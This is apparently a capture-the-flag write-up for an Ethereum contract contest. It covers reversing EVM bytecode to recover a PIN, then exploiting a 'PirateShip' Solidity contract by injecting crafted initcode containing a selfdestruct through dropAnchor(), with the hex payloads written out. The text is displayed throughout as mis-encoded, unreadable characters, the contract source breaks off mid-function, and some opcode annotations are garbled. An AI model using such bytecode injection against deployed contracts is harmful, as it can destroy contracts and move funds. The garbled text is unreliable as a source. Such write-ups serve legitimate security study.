рдЧреНрд░рд╛рдлрд╝ рдХреЗ рдмрд╣реБрдд рдиреАрдЪреЗ рддрдХ рд╕реНрдХреНрд░реЙрд▓ рдХрд░рддреЗ рд╣реБрдП, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдЪреМрдерд╛ рддрддреНрд╡ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдПрдХ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рд╣реИ, рдФрд░ рдпрд╣ рдирд┐рдпрдВрддреНрд░рдг рд╕рдВрд░рдЪрдирд╛ рдПрдХ рд▓реВрдк рд╣реИ рдЬреЛ рдХрд┐
for(var i=0; i<4; i++):
рдореЗрд▓ рдЦрд╛рддреА рд╣реИ
for(var i=0; i<4; i++):
push1 0x1 add swap4
рдпрджрд┐ рд╣рдо рд▓реВрдк рдХреЗ рд╢рд░реАрд░ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЪрд╛рд░ рдЖрдиреЗ рд╡рд╛рд▓реА рдмрд╛рдЗрдЯреНрд╕ рдХреА рдЧрдгрдирд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдХреБрдЫ рдСрдкрд░реЗрд╢рди рдХрд░рддрд╛ рд╣реИред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд▓реВрдк рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ nth рдмрд╛рдЗрдЯ 0x30 рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ:
push1 0x30 dup3 lt iszero
рдФрд░ рдпрд╣ рднреА рдХрд┐ рдпрд╣ рдорд╛рди 0x39 рд╕реЗ рдХрдо рд╣реИ:
push1 0x39 dup3 gt iszero
рдЬреЛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдПрдХ рдЬрд╛рдВрдЪ рд╣реИ рдХрд┐ рджреА рдЧрдИ рдмрд╛рдЗрдЯ 0 рд╕реЗ 9 рддрдХ рдХреА рд╣реИред рдпрджрд┐ рдЪреЗрдХ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рд╣рдо рдЦреБрдж рдХреЛ рдХреЛрдб рдХреЗ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмреНрд▓реЙрдХ рдореЗрдВ рдкрд╛рддреЗ рд╣реИрдВ:

рдЖрдЗрдП рдЗрд╕ рдмреНрд▓реЙрдХ рдХреЛ рднрд╛рдЧреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:
1. рд╕реНрдЯреИрдХ рдореЗрдВ рддреАрд╕рд░рд╛ рддрддреНрд╡ рдкрд┐рди рдХреЛрдб рдХреЗ nth рдмрд╛рдЗрдЯ рдХрд╛ ASCII рдХреЛрдб рд╣реИред 0x30 (рд╢реВрдиреНрдп рдХреЗ рд▓рд┐рдП ASCII рдХреЛрдб) рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рдзрдХреЗрд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЗрд╕ рдмрд╛рдЗрдЯ рдХреЗ рдХреЛрдб рд╕реЗ рдШрдЯрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
push1 0x30 dup3 sub
рдпрд╣реА рд╣реИ,
pincode[i] - 48
, рдФрд░ рд╣рдо рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдПрдПрд╕рд╕реАрдЖрдИрдЖрдИ рдХреЛрдб рд╕реЗ рдПрдХ рдЕрдВрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рдЪрд▓реЛ рдЗрд╕реЗ рдбреА рдХрд╣рддреЗ рд╣реИрдВред
2. IX рдХреЛ рд╕реНрдЯреИрдХ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕реНрдЯреИрдХ рдореЗрдВ рджреВрд╕рд░реЗ рддрддреНрд╡ рдХреЗ рд▓рд┐рдП рдПрдХ рдШрд╛рддрд╛рдВрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: d
swap1 pop push1 0x4 dup2 exp
рдЕрд░реНрдерд╛рдд,
d ** 4
ред
3. рд╕реНрдЯреИрдХ рдХреЗ рдкрд╛рдВрдЪрд╡реЗрдВ рддрддреНрд╡ рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдШрд╛рддрд╛рдВрдХ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЗрд╕рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд░рд╛рд╢рд┐ рдкрд░ рдХреЙрд▓ рдХрд░реЗрдВ S:
dup5 add swap4 pop dup1
рдЕрд░реНрдерд╛рдд,
S += d ** 4
ред
4. Ixa (10 рдХреЗ рд▓рд┐рдП ASCII рдХреЛрдб) рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕реНрдЯреИрдХ рдХреЗ рд╕рд╛рддрд╡реЗрдВ рддрддреНрд╡ рдХреЗ рд▓рд┐рдП рдЧреБрдгрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреЛ рдЗрд╕ рдЬреЛрдбрд╝ рд╕реЗ рдкрд╣рд▓реЗ рдЫрдард╛ рдерд╛)ред рд╣рдо рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ рдпрд╣ рдХреНрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЗрд╕ рддрддреНрд╡ рдХреЛ рдпреВ рдХрд╣реЗрдВрдЧреЗред рдлрд┐рд░ рдЧреБрдгрди рдХреЗ рдкрд░рд┐рдгрд╛рдо рдореЗрдВ d рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ:
push1 0xa dup7 mul add swap5 pop
рд╡рд╣ рд╣реИ:
U = U * 10 + d
рдпрд╛, рдЕрдзрд┐рдХ рд╕рд░рд▓ рд░реВрдк рд╕реЗ, рдпрд╣ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдкреВрд░реЗ рдмрд╛рдЗрдЯ рдХреЛрдб рдХреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдареАрдХ рдХрд░рддреА рд╣реИ
([0x1, 0x3, 0x3, 0x7] тЖТ 1337)
ред
рд╕рдмрд╕реЗ рдХрдард┐рди рдХрд╛рдо рдЬреЛ рд╣рдордиреЗ рдХрд┐рдпрд╛, рдЕрдм рд▓реВрдк рдХреЗ рдмрд╛рдж рдХреЛрдб рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред
dup5 dup5 eq
рдпрджрд┐ рд╕реНрдЯреИрдХ рдкрд░ рдкрд╛рдВрдЪрд╡реЗрдВ рдФрд░ рдЫрдареЗ рддрддреНрд╡ рд╕рдорд╛рди рд╣реИрдВ, рддреЛ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рдкреНрд░рд╡рд╛рд╣ рд╣рдореЗрдВ sstore рдирд┐рд░реНрджреЗрд╢ рддрдХ рд▓реЗ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдЕрдиреБрдмрдВрдз рдХреА рджреБрдХрд╛рди рдореЗрдВ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдзреНрд╡рдЬ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдЪреВрдБрдХрд┐ рдпрд╣ рдХреЗрд╡рд▓ рдПрдХрдорд╛рддреНрд░ рд╢рд┐рдХреНрд╖рд╛рдкреНрд░рдж рдирд┐рд░реНрджреЗрд╢ рд╣реИ, рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╡рд╣реА рд╣реИ рдЬрд┐рд╕рдХреА рд╣рдо рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рдереЗред
рд▓реЗрдХрд┐рди рдЗрд╕ рдкрд░реАрдХреНрд╖рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ? рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдкрд╣рд▓реЗ рд╣реА рдкрддрд╛ рд▓рдЧрд╛ рдЪреБрдХреЗ рд╣реИрдВ, рд╕реНрдЯреИрдХ рдкрд░ рдкрд╛рдВрдЪрд╡рд╛рдВ рддрддреНрд╡ рдПрд╕ рд╣реИ рдФрд░ рдЫрдард╛ рдпреВ рд╣реИред рдЪреВрдВрдХрд┐ рдПрд╕ рдЪреМрдереА рд╢рдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдЙрдард╛рдП рдЧрдП рдкрд┐рди рдХреЛрдб рдХреЗ рд╕рднреА рдЕрдВрдХреЛрдВ рдХрд╛ рдпреЛрдЧ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдПрдХ рдкрд┐рди рдХреЛрдб рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдпрд╣ рд╢рд░реНрдд рдкреВрд░реА рд╣реЛрдЧреАред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐
1**4 + 3**4 + 3**4 + 7**4
1337 рдХреЗ рдмрд░рд╛рдмрд░ рдирд╣реАрдВ рд╣реИ, рдФрд░ рд╣рдореЗрдВ рдЬреАрддрдиреЗ рд╡рд╛рд▓реА
sstore
рдирд┐рд░реНрджреЗрд╢ рдирд╣реАрдВ рдорд┐рд▓реЗред
рд▓реЗрдХрд┐рди рдЕрдм рд╣рдо рдПрдХ рд╕рдВрдЦреНрдпрд╛ рдХреА рдЧрдгрдирд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЗрд╕ рд╕рдореАрдХрд░рдг рдХреА рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрддреБрд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдХреЗрд╡рд▓ рддреАрди рд╕рдВрдЦреНрдпрд╛рдПрдБ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЙрдирдХреЗ рдЪреМрдереЗ-рдбрд┐рдЧреНрд░реА рдЕрдВрдХреЛрдВ рдХреЗ рдпреЛрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: 1634, 8208, рдФрд░ 9474ред рдЙрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рд▓реЙрдХ рдЦреЛрд▓ рд╕рдХрддрд╛ рд╣реИ!
рд╕рдореБрджреНрд░реА рдбрд╛рдХреВ рдЬрд╣рд╛рдЬ
рд╣реЗ рд╕рд▓рдЧ! рдПрдХ рд╕рдореБрджреНрд░реА рдбрд╛рдХреВ рдЬрд╣рд╛рдЬ рдмрдВрджрд░рдЧрд╛рд╣ рдкрд░ рдкрд╣реБрдБрдЪ рдЧрдпрд╛ред рдЙрд╕реЗ рдПрдВрдХрд░ рдбреНрд░реЙрдк рдХрд░реЗрдВ рдФрд░ рдЬреЙрд▓реА рд░реЛрдЬрд░ рдХреЗ рд╕рд╛рде рдЭрдВрдбрд╛ рдЙрдард╛рдПрдВ рдФрд░ рдЦрдЬрд╛рдиреЗ рдХреА рддрд▓рд╛рд╢ рдореЗрдВ рдЬрд╛рдПрдВред
рдЕрдиреБрдмрдВрдз рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдорд╛рдирдХ рдкрд╛рдареНрдпрдХреНрд░рдо рдореЗрдВ рддреАрди рдХреНрд░рд┐рдпрд╛рдПрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
- рдПрдХ рдмреНрд▓реЙрдХ рдирдВрдмрд░ рдХреЗ рд╕рд╛рде
dropAnchor()
рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓ рдЬреЛ рдХрд┐ рд╡рд░реНрддрдорд╛рди рдПрдХ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ 100,000 рд╕реЗ рдЕрдзрд┐рдХ рдмреНрд▓реЙрдХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдлрд╝рдВрдХреНрд╢рди рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдЕрдиреБрдмрдВрдз рдмрдирд╛рддрд╛ рд╣реИ, рдЬреЛ рдПрдХ "рдПрдВрдХрд░" рд╣реИ, рдЬрд┐рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдмреНрд▓реЙрдХ рдХреЗ рдмрд╛рдж selfdestruct()
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "рдЙрдард╛рдпрд╛" рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред pullAnchor()
рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЙрд▓, рдЬреЛ pullAnchor()
рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ рдпрджрд┐ рдкрд░реНрдпрд╛рдкреНрдд рд╕рдордп рдмреАрдд рдЪреБрдХрд╛ рд╣реИ (рдмрд╣реБрдд рд╕рдордп!)ред- рдпрджрд┐ рдХреЛрдИ рдПрдВрдХрд░ рдЕрдиреБрдмрдВрдз рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рддреЛ sailAway () рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ, рдЬреЛ BlackJackIsHauled рдХреЛ рд╕рддреНрдп рдмрдирд╛рддрд╛ рд╣реИред
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
рднреЗрджреНрдпрддрд╛ рдХрд╛рдлреА рд╕реНрдкрд╖реНрдЯ рд╣реИ:
dropAnchor()
рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдПрдХ рдЕрдиреБрдмрдВрдз рдмрдирд╛рддреЗ рд╕рдордп рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХреЛрдбрд╛рдВрддрд░рдХ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдПрдХ рд╕реАрдзрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди рд╣реЛрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдореБрдЦреНрдп рдХрдард┐рдирд╛рдИ рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛рдирд╛ рдерд╛ рдЬреЛ рд╣рдореЗрдВ
block.number
рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред
рдИрд╡реАрдПрдо рдореЗрдВ, рдЖрдк рдХреНрд░рд┐рдПрдЯ рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрдмрдВрдз рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рддрд░реНрдХ рдореВрд▓реНрдп, рдЗрдирдкреБрдЯ рдСрдлрд╝рд╕реЗрдЯ рдФрд░ рдЗрдирдкреБрдЯ рдЖрдХрд╛рд░ рд╣реИрдВред рдореВрд▓реНрдп рдПрдХ рдмрд╛рдЗрдЯрдХреЛрдб рд╣реИ рдЬреЛ рдЕрдиреБрдмрдВрдз рдХреЛ рд╕реНрд╡рдпрдВ (рдХреЛрдб рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдирд╛) рд╣реЛрд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХреЛрдб + рдЕрдиреБрдмрдВрдз рдХреЛрдб uint256 рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ (рд╡рд┐рдЪрд╛рд░ рдХреЗ рд▓рд┐рдП
GasToken рдЯреАрдо рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж):
0x6a63004141414310585733ff600052600b6015f3
рдЬрд╣рд╛рдБ рдмрд╛рдЗрдЯреНрд╕ рдмреЛрд▓реНрдб рд╣реЛрд╕реНрдЯ рдЕрдиреБрдмрдВрдз рдХреЗ рдХреЛрдб рд╣реИрдВ, рдФрд░ 414141 рдЗрдВрдЬреЗрдХреНрд╢рди рд╕рд╛рдЗрдЯ рд╣реИред рдЪреВрдВрдХрд┐ рд╣рдореЗрдВ рдереНрд░реЛ рдСрдкрд░реЗрдЯрд░ рд╕реЗ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдиреЗ рдХреЗ рдХрд╛рд░реНрдп рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рд╣рдореЗрдВ рдЕрдкрдиреЗ рдирдП рдЕрдиреБрдмрдВрдз рдХреЛ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХреЛрдб рдХреЗ рдЕрдиреБрдЧрд╛рдореА рднрд╛рдЧ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ред рдЖрдЗрдП рдЕрдиреБрдмрдВрдз рдХреЛ 0xff рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд╕рд╛рде рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ
selfdestruct()
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдВрдХрд░ рдЕрдиреБрдмрдВрдз рдХреЛ рдмрд┐рдирд╛ рд╢рд░реНрдд рд╣рдЯрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛:
68 414141ff3f3f3f3f3f3f ;; push9 рдЕрдиреБрдмрдВрдз
60 00 ;; рдзрдХреНрдХрд╛ рез реж
52 ;; mstore
60 09 ;; рдзрдХреНрдХрд╛ рез реп
60 17 ;; push1 17
f3 ;; рд╡рд╛рдкрд╕реА
рдпрджрд┐ рд╣рдо рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдЗрд╕ рдХреНрд░рдо рдХреЛ
uint256 (9081882833248973872855737642440582850680819)
рдХрдирд╡рд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ
dropAnchor()
рдлрд╝рдВрдХреНрд╢рди рдХреЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ рдХреЛрдб рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рдорд╛рди рдорд┐рд▓рддрд╛ рд╣реИ
dropAnchor()
рдмреЛрд▓реНрдб рдореЗрдВ рд╣рдорд╛рд░рд╛ рдкреЗрд▓реЛрдб рд╣реИ):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
рдХреЛрдб рд╡реИрд░рд┐рдПрдмрд▓ initcode рд╡реИрд░рд┐рдПрдмрд▓ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдмрдирдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдореЗрдВ рдирд┐рдореНрди рдореВрд▓реНрдп рдорд┐рд▓рддреЗ рд╣реИрдВ:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
рдЕрдм рдЙрдЪреНрдЪ рдмрд╛рдЗрдЯреНрд╕
0x6300
рдЪрд▓реЗ рдЧрдП рд╣реИрдВ, рдФрд░ рдмрд╛рдХреА рдХреЗ рдмрд╛рдЗрдЯрдХреЛрдб рдХреЛ
0xf3 (return)
рдмрд╛рдж рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдмрджрд▓реЗ рд╣реБрдП рддрд░реНрдХ рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдЕрдиреБрдмрдВрдз рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
41 ;; Coinbase
41 ;; Coinbase
41 ;; Coinbase
рдПрдлрдПрдл ;; selfdestruct
3 рдПрдл ;; рдХрдЪрд░рд╛
3 рдПрдл ;; рдХрдЪрд░рд╛
3 рдПрдл ;; рдХрдЪрд░рд╛
3 рдПрдл ;; рдХрдЪрд░рд╛
3 рдПрдл ;; рдХрдЪрд░рд╛
рдЕрдЧрд░ рд╣рдо рдЕрдм рдкреБрд▓рдЕрдирдЪреЛрд░ () рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдЕрдиреБрдмрдВрдз рддреБрд░рдВрдд рдирд╖реНрдЯ рд╣реЛ рдЬрд╛рдПрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдмреНрд▓реЙрдХрдЪреБрдирд░ рдкрд░ рдЪреЗрдХ рдирд╣реАрдВ рд╣реИред рдЙрд╕рдХреЗ рдмрд╛рдж рд╣рдо sailAway () рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЬреАрдд рдХрд╛ рдЬрд╢реНрди рдордирд╛рддреЗ рд╣реИрдВ!
рдкрд░рд┐рдгрд╛рдо
- 1,000 рдЕрдореЗрд░рд┐рдХреА рдбреЙрд▓рд░ рдХреЗ рдмрд░рд╛рдмрд░ рд░рд╛рд╢рд┐ рдореЗрдВ рдкрд╣рд▓рд╛ рд╕реНрдерд╛рди рдФрд░ рдкреНрд░рд╕рд╛рд░рдг: рдПрд▓реЗрдХреНрд╕реА рдкрд░реНрдЯрд╕реЗрд╡ (p4lex)
- рджреВрд╕рд░реА рдЬрдЧрд╣ рдФрд░ рд▓реЗрдЬрд░ рдиреИрдиреЛ рдПрд╕: рдПрд▓реЗрдХреНрд╕реА рдорд╛рд░реНрдХреЛрд╡
- рддреАрд╕рд░рд╛ рд╕реНрдерд╛рди рдФрд░ PHDays рд╕реНрдореГрддрд┐ рдЪрд┐рдиреНрд╣: рдЕрд▓реЗрдХреНрдЬреЗрдВрдбрд░ Vlasov
рд╕рднреА рдкрд░рд┐рдгрд╛рдо:
etherhack.positive.com/#/scoreboard
рд╡рд┐рдЬреЗрддрд╛рдУрдВ рдХреЛ рдмрдзрд╛рдИ рдФрд░ рд╕рднреА рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рдзрдиреНрдпрд╡рд╛рдж!
рдкреАрдПрд╕
рдереИрдВрдХреНрд╕ рдЯреВ рдЬреАрдкреЗрд▓рд┐рди рдХреЛ рд╕реЛрд░реНрд╕ рдХреЛрдб
рдПрдерд░рдиреЙрдЯ рд╕реАрдЯреАрдПрдл рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдУрдкрди рд╕реЛрд░реНрд╕ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдПред